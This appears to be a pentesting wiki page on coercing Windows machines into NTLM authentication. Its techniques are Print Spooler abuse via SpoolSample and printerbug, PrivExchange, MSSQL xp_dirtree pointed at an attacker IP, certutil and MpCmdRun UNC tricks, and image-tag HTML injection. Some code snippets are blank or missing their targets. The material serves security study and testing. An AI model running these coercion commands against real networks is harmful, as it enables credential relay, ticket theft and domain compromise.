# Force NTLM Privileged Authentication

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## SharpSystemTriggers [**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies. ## Spooler Service Abuse If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\ Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication. ### Finding Windows Servers on the domain Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there: ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` ### Finding Spooler services listening Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening: ```bash . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} ``` You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol ```bash rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` ### Ask the service to authenticate against an arbitrary host You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.** ```bash SpoolSample.exe ``` or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux ```bash python dementor.py -d domain -u username -p password printerbug.py 'domain/username:password'@ ``` ### Combining with Unconstrained Delegation If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)). ## RCP Force authentication {% embed url="https://github.com/p0dalirius/Coercer" %} ## PrivExchange The `PrivExchange` attack is a result of a flaw found in the **Exchange Server `PushSubscription` feature**. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP. By default, the **Exchange service runs as SYSTEM** and is given excessive privileges (specifically, it has **WriteDacl privileges on the domain pre-2019 Cumulative Update**). This flaw can be exploited to enable the **relaying of information to LDAP and subsequently extract the domain NTDS database**. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account. ## Inside Windows If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with: ### Defender MpCmdRun ```bash C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\\file.txt ``` ### MSSQL ```sql EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 ``` Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) ### Certutil It's possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication: ```bash certutil.exe -syncwithWU \\127.0.0.1\share ``` ## HTML injection ### Via email If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as ```html ``` and when he opens it, he will try to authenticate. ### MitM If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page: ```html ``` ## Cracking NTLMv1 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).\ _Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_

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